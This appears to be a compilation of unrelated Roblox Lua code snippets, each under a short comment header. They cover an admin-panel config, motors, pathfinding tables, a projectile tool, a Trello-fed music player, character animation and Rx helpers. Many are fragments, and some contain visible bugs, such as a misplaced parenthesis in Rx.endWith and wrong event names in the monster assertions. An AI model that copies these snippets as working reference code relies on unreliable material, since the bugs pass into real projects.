{"bk", "Black", Color3.fromRGB(0, 0, 0) };
{"w", "White", Color3.fromRGB(255, 255, 255) };
};
ChatColors = { -- The colour a player's chat will appear depending on their rank. '["Owner"] = "Yellow";' makes the owner's chat yellow.
[5] = "Yellow";
};
Cmdbar = 1; -- The minimum rank required to use the Cmdbar.
Cmdbar2 = 3; -- The minimum rank required to use the Cmdbar2.
ViewBanland = 3; -- The minimum rank required to view the banland.
OnlyShowUsableCommands = false; -- Only display commands equal to or below the user's rank on the Commands page.
RankRequiredToViewPage = { -- || The pages on the main menu ||
["Commands"] = 0;
["Admin"] = 0;
["Settings"] = 0;
};
RankRequiredToViewRank = { -- || The rank categories on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["HeadAdmin"] = 0;
["Admin"] = 0;
["Mod"] = 0;
["VIP"] = 0;
};
RankRequiredToViewRankType = { -- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["SpecificUsers"] = 5;
["Gamepasses"] = 0;
["Assets"] = 0;
["Groups"] = 0;
["Friends"] = 0;
["FreeAdmin"] = 0;
["VipServerOwner"] = 0;
};
WelcomeRankNotice = true; -- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.
WelcomeDonorNotice = true; -- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.
WarnIncorrectPrefix = true; -- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!"
DisableAllNotices = false; -- Set to true to disable all HD Admin notices.
ScaleLimit = 4; -- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.
IgnoreScaleLimit = 3; -- Any ranks equal or above this value will ignore 'ScaleLimit'
VIPServerCommandBlacklist = {"permRank", "permBan", "globalAnnouncement"}; -- Commands players are probihited from using in VIP Servers.
GearBlacklist = {67798397}; -- The IDs of gear items to block when using the ;gear command.
IgnoreGearBlacklist = 4; -- The minimum rank required to ignore the gear blacklist.
PlayerDataStoreVersion = "V1.0"; -- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.
SystemDataStoreVersion = "V1.0"; -- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.
CoreNotices = { -- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]
--NoticeName = NoticeDetails;
};
|
--//roof motors |
local s1 = Instance.new("Motor",script.Parent.Parent.Misc.s1.SS)
s1.MaxVelocity = 0.03
s1.Part0 = script.Parent.Parent.Misc.s2.s1
s1.Part1 = s1.Parent
local s2 = Instance.new("Motor",script.Parent.Parent.Misc.s2.SS)
s2.MaxVelocity = 0.007
s2.Part0 = script.Parent.s2
s2.Part1 = s2.Parent
local s3 = Instance.new("Motor",script.Parent.Parent.Misc.s3.SS)
s3.MaxVelocity = 0.01
s3.Part0 = script.Parent.Parent.Misc.s2.s3
s3.Part1 = s3.Parent
local b1 = Instance.new("Motor",script.Parent.Parent.Misc.b1.SS)
b1.MaxVelocity = 0.01
b1.Part0 = script.Parent.b1
b1.Part1 = b1.Parent
|
--[[
@class BlendSingle.story
]] |
local require = require(game:GetService("ServerScriptService"):FindFirstChild("LoaderUtils", true).Parent).load(script)
local Maid = require("Maid")
local Observable = require("Observable")
local Blend = require("Blend")
return function(target)
local maid = Maid.new()
local state = Blend.State("a")
local result = Blend.Single(Blend.Dynamic(state, function(text)
return Blend.New "TextLabel" {
Parent = target;
Text = text;
Size = UDim2.new(1, 0, 1, 0);
BackgroundTransparency = 0.5;
[function()
return Observable.new(function()
local internal = Maid.new()
print("Made for", text)
internal:GiveTask(function()
print("Cleaning up", text)
end)
return internal
end)
end] = true;
}
end))
maid:GiveTask(result:Subscribe())
state.Value = "b"
return function()
maid:DoCleaning()
end
end
|
--[[Brakes]] |
Tune.ABSEnabled = true -- Implements ABS
Tune.ABSThreshold = 20 -- Slip speed allowed before ABS starts working (in SPS)
Tune.BrakeForce = 2500 -- Total brake force (LuaInt)
Tune.BrakeBias = .57 -- Brake bias towards the front, percentage (1 = Front, 0 = Rear, .5 = 50/50)
Tune.PBrakeForce = 5000 -- Handbrake force
Tune.PBrakeBias = .57 -- Handbrake bias towards the front, percentage (1 = Front, 0 = Rear, .5 = 50/50)
Tune.EBrakeForce = 250 -- Engine braking force at redline
|
-- Pull maps from MapWorkspace. |
for i, map in ipairs(workspace.MapWorkspace:GetChildren()) do
InstallMap(map)
end
|
--Precalculated paths |
local t,f,n=true,false,{}
local r={
[58]={{20,58},t},
[49]={{20,58,56,30,41,39,35,34,32,31,29,28,44,45,49},t},
[16]={n,f},
[19]={{20,19},t},
[59]={{20,58,56,30,41,59},t},
[63]={{20,63},t},
[34]={{20,58,56,30,41,39,35,34},t},
[21]={{20,21},t},
[48]={{20,58,56,30,41,39,35,34,32,31,29,28,44,45,49,48},t},
[27]={{20,58,56,30,41,39,35,34,32,31,29,28,27},t},
[14]={n,f},
[31]={{20,58,56,30,41,39,35,34,32,31},t},
[56]={{20,58,56},t},
[29]={{20,58,56,30,41,39,35,34,32,31,29},t},
[13]={n,f},
[47]={{20,58,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47},t},
[12]={n,f},
[45]={{20,58,56,30,41,39,35,34,32,31,29,28,44,45},t},
[57]={{20,58,57},t},
[36]={{20,58,56,30,41,39,35,37,36},t},
[25]={{20,58,56,30,41,39,35,34,32,31,29,28,27,26,25},t},
[71]={{20,58,56,30,41,59,61,71},t},
[20]={{20},t},
[60]={{20,58,56,30,41,60},t},
[8]={n,f},
[4]={n,f},
[75]={{20,58,56,30,41,59,61,71,72,76,73,75},t},
[22]={{20,21,22},t},
[74]={{20,58,56,30,41,59,61,71,72,76,73,74},t},
[62]={{20,62},t},
[1]={n,f},
[6]={n,f},
[11]={n,f},
[15]={n,f},
[37]={{20,58,56,30,41,39,35,37},t},
[2]={n,f},
[35]={{20,58,56,30,41,39,35},t},
[53]={{20,58,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53},t},
[73]={{20,58,56,30,41,59,61,71,72,76,73},t},
[72]={{20,58,56,30,41,59,61,71,72},t},
[33]={{20,58,56,30,41,39,35,37,36,33},t},
[69]={{20,58,56,30,41,60,69},t},
[65]={{20,19,66,64,65},t},
[26]={{20,58,56,30,41,39,35,34,32,31,29,28,27,26},t},
[68]={{20,19,66,64,67,68},t},
[76]={{20,58,56,30,41,59,61,71,72,76},t},
[50]={{20,58,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50},t},
[66]={{20,19,66},t},
[10]={n,f},
[24]={{20,58,56,30,41,39,35,34,32,31,29,28,27,26,25,24},t},
[23]={{20,58,23},t},
[44]={{20,58,56,30,41,39,35,34,32,31,29,28,44},t},
[39]={{20,58,56,30,41,39},t},
[32]={{20,58,56,30,41,39,35,34,32},t},
[3]={n,f},
[30]={{20,58,56,30},t},
[51]={{20,58,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,50,51},t},
[18]={n,f},
[67]={{20,19,66,64,67},t},
[61]={{20,58,56,30,41,59,61},t},
[55]={{20,58,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54,55},t},
[46]={{20,58,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,46},t},
[42]={{20,58,56,30,41,39,40,38,42},t},
[40]={{20,58,56,30,41,39,40},t},
[52]={{20,58,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52},t},
[54]={{20,58,56,30,41,39,35,34,32,31,29,28,44,45,49,48,47,52,53,54},t},
[43]={n,f},
[7]={n,f},
[9]={n,f},
[41]={{20,58,56,30,41},t},
[17]={n,f},
[38]={{20,58,56,30,41,39,40,38},t},
[28]={{20,58,56,30,41,39,35,34,32,31,29,28},t},
[5]={n,f},
[64]={{20,19,66,64},t},
}
return r
|
-- Dont Touch Any Of The Text Below This Green Line -- |
function checkOkToLetIn(name)
for i = 1,#permission do
if (string.upper(name) == string.upper(permission[i])) then return true end
end
return false
end
local Door = script.Parent
function onTouched(hit)
print("Door Hit")
local human = hit.Parent:findFirstChild("Humanoid")
if (human ~= nil ) then
if human.Parent.Torso.roblox.Texture == texture then
Door.Transparency = 0.7
Door.CanCollide = false
wait(2)
Door.CanCollide = true
Door.Transparency = 0
print("Human touched door")
elseif (checkOkToLetIn(human.Parent.Name)) then
print("Human passed test")
Door.Transparency = 0.7
Door.CanCollide = false
wait(2)
Door.CanCollide = true
Door.Transparency = 0
else human.Health = 0
end
end
end
script.Parent.Touched:connect(onTouched)
|
-- find player's head pos |
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
--local head = vCharacter:findFirstChild("Head")
local head = locateHead()
if head == nil then return end
--computes a the intended direction of the projectile based on where the mouse was clicked in reference to the head
local dir = mouse_pos - head.Position
dir = computeDirection(dir)
local launch = head.Position + 3 * dir
local delta = mouse_pos - launch
local dy = delta.y
local new_delta = Vector3.new(delta.x, 0, delta.z)
delta = new_delta
local dx = delta.magnitude
local unit_delta = delta.unit
-- acceleration due to gravity in RBX units
local g = (-9.81 * 20)
local theta = computeLaunchAngle( dx, dy, g)
local vy = math.sin(theta)
local xz = math.cos(theta)
local vx = unit_delta.x * xz
local vz = unit_delta.z * xz
local missile = Pellet:clone()
missile.Position = launch
missile.Velocity = Vector3.new(vx,vy,vz) * VELOCITY
missile.PelletScript.Disabled = false
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = vPlayer
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Parent = game.Workspace
end
function locateHead()
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
return vCharacter:findFirstChild("Head")
end
function computeLaunchAngle(dx,dy,grav)
-- arcane
-- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile
local g = math.abs(grav)
local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY)))
if inRoot <= 0 then
return .25 * math.pi
end
local root = math.sqrt(inRoot)
local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx)
local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx)
local answer1 = math.atan(inATan1)
local answer2 = math.atan(inATan2)
if answer1 < answer2 then return answer1 end
return answer2
end
function computeDirection(vec)
local lenSquared = vec.magnitude * vec.magnitude
local invSqrt = 1 / math.sqrt(lenSquared)
return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.GripPos = Vector3.new(0,-0.5,0.5)
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
fire(targetPos)
wait(0.5)
Tool.GripPos = Vector3.new(0,0,0.5)
wait(FIRERATE - 0.5)
Tool.Enabled = true
end
script.Parent.Activated:connect(onActivated)
|
-- Pages -- |
local myaccpage = script.Parent.Parent.HolderFrame.Accounts
local deppage = script.Parent.Parent.HolderFrame.Deposit
local wthpage = script.Parent.Parent.HolderFrame.Withdraw
local trnpage = script.Parent.Parent.HolderFrame.Transfer
local cshpage = script.Parent.Parent.HolderFrame.BuyCash
|
--freeze the character |
DisableMove()
IceForm = Instance.new("Sound")
IceForm.Name = "IceForm"
IceForm.SoundId = "rbxassetid://"..formSounds[math.random(1,#formSounds)]
IceForm.Parent = Head
IceForm.PlaybackSpeed = 1
IceForm.Volume = 1.5
game.Debris:AddItem(IceForm, 10)
delay(0, function() IceForm:Play() end)
for i = 1, #charParts do
local newIcePart = icePart:Clone()
--newIcePart.IceMesh.Scale = newIcePart.IceMesh.Scale * charParts[i].Size
newIcePart.Size = Vector3.new(charParts[i].Size.x+.1, charParts[i].Size.y+.1, charParts[i].Size.z+.1)
newIcePart.CFrame = charParts[i].CFrame
newIcePart.Parent = character
local Weld = Instance.new("Weld")
Weld.Part0 = charParts[i]
Weld.Part1 = newIcePart
Weld.C0 = charParts[i].CFrame:inverse()
Weld.C1 = newIcePart.CFrame:inverse()
Weld.Parent = newIcePart
table.insert(iceParts, newIcePart)
end
for i = 1, #accessoryParts do
local newIcePart2 = accessoryParts[i]:Clone()
newIcePart2.Name = "IcePart"
newIcePart2.formFactor = "Custom"
newIcePart2.Color = Color3.fromRGB(128, 187, 219)
newIcePart2.CanCollide = false
newIcePart2.Anchored = false
newIcePart2.Transparency = .5
newIcePart2.BottomSurface = "Smooth"
newIcePart2.TopSurface = "Smooth"
newIcePart2.Material = Enum.Material.SmoothPlastic
newIcePart2.Mesh.TextureId = ""
newIcePart2.Mesh.Scale = Vector3.new(newIcePart2.Mesh.Scale.x+.1, newIcePart2.Mesh.Scale.y+.1, newIcePart2.Mesh.Scale.z+.1)
newIcePart2.CFrame = accessoryParts[i].CFrame
newIcePart2.Parent = character
local Weld2 = Instance.new("Weld")
Weld2.Part0 = accessoryParts[i]
Weld2.Part1 = newIcePart2
Weld2.C0 = accessoryParts[i].CFrame:inverse()
Weld2.C1 = newIcePart2.CFrame:inverse()
Weld2.Parent = newIcePart2
table.insert(iceParts2, newIcePart2)
end
wait(script.Duration.Value)
|
-- In radian the maximum accuracy penalty |
local MaxSpread = 0.01 |
-- do not touch anything below or I will cry ~Wiz -- |
local nowplaying = ""
local requests = {
}
local http = game:GetService('HttpService')
local lists = http:JSONDecode(http:GetAsync("https://api.trello.com/1/boards/"..trelloboard.."/lists"))
for _,v in pairs(lists) do
if v.name == "Rap" then
local items = http:JSONDecode(http:GetAsync("https://api.trello.com/1/lists/"..v.id.."/cards"))
print(#items)
for _,v in pairs(items) do
if v.name:match(":") ~= nil then
local s,f = string.find(v.name,":")
table.insert(songs, string.sub(v.name,f+1))
end
end
end
end
function shuffleTable(t)
math.randomseed(tick())
assert(t, "shuffleTable() expected a table, got nil" )
local iterations = #t
local j
for i = iterations, 2, -1 do
j = math.random(i)
t[i], t[j] = t[j], t[i]
end
end
shuffleTable(songs)
local songnum = 0
function script.Parent.musicEvents.getSong.OnServerInvoke()
return game:service('MarketplaceService'):GetProductInfo(tonumber(nowplaying)).Name
end
script.Parent.musicEvents.purchaseSong.OnServerEvent:connect(function(p)
if p.userId > 0 then
game:GetService("MarketplaceService"):PromptProductPurchase(p, productId)
end
end)
local votes = {
}
function makesong()
script.Parent.Parent.Parent.Body.MP:WaitForChild("Sound"):Stop()
wait()
if #requests == 0 then
songnum = songnum+1
if songnum > #songs then
songnum = 1
end
nowplaying = songs[songnum]
else
nowplaying = requests[1]
table.remove(requests,1)
end
local thisfunctionssong = nowplaying
script.Parent.Parent.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..thisfunctionssong
wait()
script.Parent.Parent.Parent.Body.MP.Sound:Play()
script.Parent.musicEvents.newSong:FireAllClients(game:service('MarketplaceService'):GetProductInfo(tonumber(nowplaying)).Name)
votes = {}
wait(script.Parent.Parent.Parent.Body.MP.Sound.TimeLength)
if "rbxassetid://"..nowplaying == "rbxassetid://"..thisfunctionssong then
makesong()
end
end
function countVotes()
local c = 0
for _,v in pairs(votes) do
if v[2] == true then
c = c +1
end
end
local remainder = #game.Players:GetPlayers() - #votes
local percent = (c + (remainder/2))/#game.Players:GetPlayers()
script.Parent.musicEvents.voteChange:FireAllClients(percent)
if percent <= 0.2 then
--skip song
makesong()
end
return
end
script.Parent.musicEvents.voteYes.OnServerEvent:connect(function(p)
for _,v in pairs(votes) do
if v[1] == p.Name then
v[2] = true
countVotes()
return
end
end
table.insert(votes, {p.Name, true})
countVotes()
end)
script.Parent.musicEvents.voteNo.OnServerEvent:connect(function(p)
for _,v in pairs(votes) do
if v[1] == p.Name then
v[2] = false
countVotes()
return
end
end
table.insert(votes, {p.Name, false})
countVotes()
end)
|
--[[
AnimateKey(note1,px,py,pz,ox,oy,oz,Time)
--note1(1-61), position x, position y, position z, orientation x, orientation y, orientation z, time
local obj = --object or gui or wahtever goes here
local Properties = {}
Properties.Size = UDim2.new()
Tween(obj,Properties,2,true,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
--Obj,Property,Time,wait,Easingstyle,EasingDirection,RepeatAmt,Reverse
]] |
function HighlightPianoKey(note1,transpose)
if not Settings.KeyAesthetics then return end
local octave = math.ceil(note1/12)
local note2 = (note1 - 1)%12 + 1
local min = -15
local max = 15 --These are for the distances
local goal = Piano.Case.Goal
local snow = Piano.Case.Snow
local cln = snow:clone()
cln.Parent = Piano.Keys.Snow
cln.Transparency = 0
cln.Position = Vector3.new(cln.Position.x + math.random(min,max),cln.Position.y,cln.Position.z + math.random(min,max))
local obj = cln
local Properties = {}
Properties.Position = Vector3.new(cln.Position.x,goal.Position.y,cln.Position.z)
Tween(obj,Properties,2,true,Enum.EasingStyle.Linear,Enum.EasingDirection.Out,0,false)
cln:Destroy()
end
|
--[=[
@param name string
@param inboundMiddleware ClientMiddleware?
@param outboundMiddleware ClientMiddleware?
@return (...: any) -> any
Generates a function on the matching RemoteFunction generated with ServerComm. The function
can then be called to invoke the server. If this `ClientComm` object was created with
the `usePromise` parameter set to `true`, then this generated function will return
a Promise when called.
```lua
-- Server-side:
local serverComm = ServerComm.new(someParent)
serverComm:BindFunction("MyFunction", function(player, msg)
return msg:upper()
end)
-- Client-side:
local clientComm = ClientComm.new(someParent)
local myFunc = clientComm:GetFunction("MyFunction")
local uppercase = myFunc("hello world")
print(uppercase) --> HELLO WORLD
-- Client-side, using promises:
local clientComm = ClientComm.new(someParent, true)
local myFunc = clientComm:GetFunction("MyFunction")
myFunc("hi there"):andThen(function(msg)
print(msg) --> HI THERE
end):catch(function(err)
print("Error:", err)
end)
```
]=] |
function ClientComm:GetFunction(name: string, inboundMiddleware: ClientMiddleware?, outboundMiddleware: ClientMiddleware?)
return Comm.Client.GetFunction(self._instancesFolder, name, self._usePromise, inboundMiddleware, outboundMiddleware)
end
|
-- Adding an arc to the running system |
function System.add(arc)
if not arcInstances[arc] then
arcInstances[arc] = true
numInstances = numInstances + 1
arc.segmentsFolder.Parent = MainFolder
arc.part.Parent = MainPartFolder
if arc.dynamic then
dynamicInstances[arc] = true
end
updateConnection()
end
end
function System.contains(arc)
return arcInstances[arc] ~= nil
end
|
--[[
CameraUtils - Math utility functions shared by multiple camera scripts
2018 Camera Update - AllYourBlox
--]] |
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local UserGameSettings = UserSettings():GetService("UserGameSettings")
local CameraUtils = {}
local function round(num: number)
return math.floor(num + 0.5)
end
|
-- ROBLOX deviation: color formatting omitted |
local DEFAULT_OPTIONS = {
callToJSON = true,
-- ROBLOX deviation: using Object.None instead of nil because assigning nil is no different from not assigning value at all
compareKeys = Object.None,
escapeRegex = false,
escapeString = true,
highlight = false,
indent = 2,
maxDepth = math.huge,
min = false,
plugins = {},
printBasicPrototype = true,
printFunctionName = true,
-- ROBLOX deviation: color formatting omitted
theme = nil,
}
local function validateOptions(options: OptionsReceived)
for k, _ in pairs(options) do
if DEFAULT_OPTIONS[k] == nil then
error(Error(string.format('pretty-format: Unknown option "%s".', tostring(k))))
end
end
if options.min and options.indent ~= nil and options.indent ~= 0 then
error(Error('pretty-format: Options "min" and "indent" cannot be used together.'))
end
-- ROBLOX deviation: color formatting omitted
end
|
------------------
------------------ |
function onDied()
pose = "Dead"
model:remove()
end
function waitForChild(parent, childName)
while true do
local child = parent:findFirstChild(childName)
if child then
return child
end
parent.ChildAdded:wait()
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Zombie")
local pose = "Standing"
local toolAnim = "None"
local toolAnimTime = 0
local isSeated = false
function onRunning(speed)
if isSeated then return end
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end
function onJumping()
isSeated = false
pose = "Jumping"
end
function onClimbing()
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
pose = "FreeFall"
end
function onDancing()
pose = "Dancing"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
isSeated = true
pose = "Seated"
end
function moveJump()
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFreeFall()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1
LeftShoulder.DesiredAngle = -1
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveFloat()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.57
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = -1.57
end
function moveBoogy()
while pose=="Boogy" do
wait(.5)
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(.5)
RightShoulder.MaxVelocity = 1
LeftShoulder.MaxVelocity = 1
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = -3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 1.57
end
end
function moveZombie()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.57
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function movePunch()
script.Parent.Torso.Anchored=true
RightShoulder.MaxVelocity = 60
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 0
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
wait(1)
script.Parent.Torso.Anchored=false
pose="Standing"
end
function moveKick()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 40
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"
end
function moveFly()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
LeftShoulder.DesiredAngle = 0
RightHip.MaxVelocity = 40
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 0
wait(1)
pose="Standing"
end
function moveClimb()
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -3.14
LeftShoulder.DesiredAngle = 3.14
RightHip.DesiredAngle = 0
LeftHip.DesiredAngle = 0
end
function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder.DesiredAngle = -3.14 /2
LeftShoulder.DesiredAngle = -3.14 /2
RightHip.DesiredAngle = 3.14 /2
LeftHip.DesiredAngle = -3.14 /2
end
function getTool()
kidTable = Figure:children()
if (kidTable ~= nil) then
numKids = #kidTable
for i=1,numKids do
if (kidTable[i].className == "Tool") then return kidTable[i] end
end
end
return nil
end
function getToolAnim(tool)
c = tool:children()
for i=1,#c do
if (c[i].Name == "toolanim" and c[i].className == "StringValue") then
return c[i]
end
end
return nil
end
function animateTool()
if (toolAnim == "None") then
RightShoulder.DesiredAngle = -1.57
return
end
if (toolAnim == "Slash") then
RightShoulder.MaxVelocity = 0.5
RightShoulder.DesiredAngle = 0
return
end
if (toolAnim == "Lunge") then
RightShoulder.MaxVelocity = 0.5
LeftShoulder.MaxVelocity = 0.5
RightHip.MaxVelocity = 0.5
LeftHip.MaxVelocity = 0.5
RightShoulder.DesiredAngle = -1.57
LeftShoulder.DesiredAngle = 1.0
RightHip.DesiredAngle = 1.57
LeftHip.DesiredAngle = 1.0
return
end
end
function move(time)
local amplitude
local frequency
if (pose == "Jumping") then
moveJump()
return
end
if (pose == "Zombie") then
moveZombie()
return
end
if (pose == "Boogy") then
moveBoogy()
return
end
if (pose == "Float") then
moveFloat()
return
end
if (pose == "Punch") then
movePunch()
return
end
if (pose == "Kick") then
moveKick()
return
end
if (pose == "Fly") then
moveFly()
return
end
if (pose == "FreeFall") then
moveFreeFall()
return
end
if (pose == "Climbing") then
moveClimb()
return
end
if (pose == "Seated") then
moveSit()
return
end
amplitude = 0.1
frequency = 1
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
if (pose == "Running") then
amplitude = 1
frequency = 9
elseif (pose == "Dancing") then
amplitude = 2
frequency = 16
end
desiredAngle = amplitude * math.sin(time*frequency)
if pose~="Dancing" then
RightShoulder.DesiredAngle = -desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
else
RightShoulder.DesiredAngle = desiredAngle
LeftShoulder.DesiredAngle = desiredAngle
RightHip.DesiredAngle = -desiredAngle
LeftHip.DesiredAngle = -desiredAngle
end
local tool = getTool()
if tool ~= nil then
animStringValueObject = getToolAnim(tool)
if animStringValueObject ~= nil then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = time + .3
end
if time > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
toolAnim = "None"
toolAnimTime = 0
end
end
|
--[=[
Ends the observable with these values before cancellation
https://www.learnrxjs.io/learn-rxjs/operators/combination/endwith
@param values { T }
@return (source: Observable) -> Observable
]=] |
function Rx.endWith(values)
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
local maid = Maid.new()
maid:GiveTask(source:Subscribe(
function(...)
sub:Fire(...)
end,
function(...)
for _, item in pairs(values) do
sub:Fire(item)
end
sub:Fail(...)
end),
function()
for _, item in pairs(values) do
sub:Fire(item)
end
sub:Complete()
end)
return maid
end)
end
end
|
--]] Put in StarterPlayer > StarterCharacterScripts |
local players = game:GetService("Players")
local hrp = players.LocalPlayer.Character:WaitForChild("HumanoidRootPart")
hrp.Died.Volume = 0
|
--
-- Verify that everything is where it should be |
assert(Self:FindFirstChild'Humanoid' ~= nil, 'Monster does not have a humanoid')
assert(Settings ~= nil, 'Monster does not have a Configurations object')
assert(Settings:FindFirstChild'MaximumDetectionDistance' ~= nil and Settings.MaximumDetectionDistance:IsA'NumberValue', 'Monster does not have a MaximumDetectionDistance (NumberValue) setting')
assert(Settings:FindFirstChild'CanGiveUp' ~= nil and Settings.CanGiveUp:IsA'BoolValue', 'Monster does not have a CanGiveUp (BoolValue) setting')
assert(Settings:FindFirstChild'CanRespawn' ~= nil and Settings.CanRespawn:IsA'BoolValue', 'Monster does not have a CanRespawn (BoolValue) setting')
assert(Settings:FindFirstChild'SpawnPoint' ~= nil and Settings.SpawnPoint:IsA'Vector3Value', 'Monster does not have a SpawnPoint (Vector3Value) setting')
assert(Settings:FindFirstChild'AutoDetectSpawnPoint' ~= nil and Settings.AutoDetectSpawnPoint:IsA'BoolValue', 'Monster does not have a AutoDetectSpawnPoint (BoolValue) setting')
assert(Settings:FindFirstChild'FriendlyTeam' ~= nil and Settings.FriendlyTeam:IsA'BrickColorValue', 'Monster does not have a FriendlyTeam (BrickColorValue) setting')
assert(Settings:FindFirstChild'AttackDamage' ~= nil and Settings.AttackDamage:IsA'NumberValue', 'Monster does not have a AttackDamage (NumberValue) setting')
assert(Settings:FindFirstChild'AttackFrequency' ~= nil and Settings.AttackFrequency:IsA'NumberValue', 'Monster does not have a AttackFrequency (NumberValue) setting')
assert(Settings:FindFirstChild'AttackRange' ~= nil and Settings.AttackRange:IsA'NumberValue', 'Monster does not have a AttackRange (NumberValue) setting')
assert(Mind ~= nil, 'Monster does not have a Mind object')
assert(Mind:FindFirstChild'CurrentTargetHumanoid' ~= nil and Mind.CurrentTargetHumanoid:IsA'ObjectValue', 'Monster does not have a CurrentTargetHumanoid (ObjectValue) mind setting')
assert(Self:FindFirstChild'Died' and Self.Died:IsA'BindableEvent', 'Monster does not have a Died BindableEvent')
assert(Self:FindFirstChild'Respawned' and Self.Died:IsA'BindableEvent', 'Monster does not have a Respawned BindableEvent')
assert(Self:FindFirstChild'Attacked' and Self.Died:IsA'BindableEvent', 'Monster does not have a Attacked BindableEvent')
assert(script:FindFirstChild'Attack' and script.Attack:IsA'Animation', 'Monster does not have a MonsterScript.Attack Animation')
|
--GreenEgg-- |
Event.Hitbox.Touched:Connect(function(hit)
if hit.Parent:IsA("Tool") and hit.Parent.Name == ToolRequired then
if game.ReplicatedStorage.ItemSwitching.Value == true then
hit.Parent:Destroy()
end
Event.LocksLeft.Value = Event.LocksLeft.Value - 1
Event.Dinosaur.Transparency = 0
Event.TeleportEffectPad.Insert:Play()
Event.Hitbox.DinosaurHint:Destroy()
script.Disabled = true
end
end)
Event.Hitbox.ClickDetector.MouseClick:Connect(function(plr)
if plr.Backpack:FindFirstChild(ToolRequired) then
if game.ReplicatedStorage.ItemSwitching.Value == true then
plr.Backpack:FindFirstChild(ToolRequired):Destroy()
end
Event.LocksLeft.Value = Event.LocksLeft.Value - 1
Event.Dinosaur.Transparency = 0
Event.TeleportEffectPad.Insert:Play()
Event.Hitbox.DinosaurHint:Destroy()
script.Disabled = true
end
end)
|
--[=[
@class Component
Bind components to Roblox instances using the Component class and CollectionService tags.
To avoid confusion of terms:
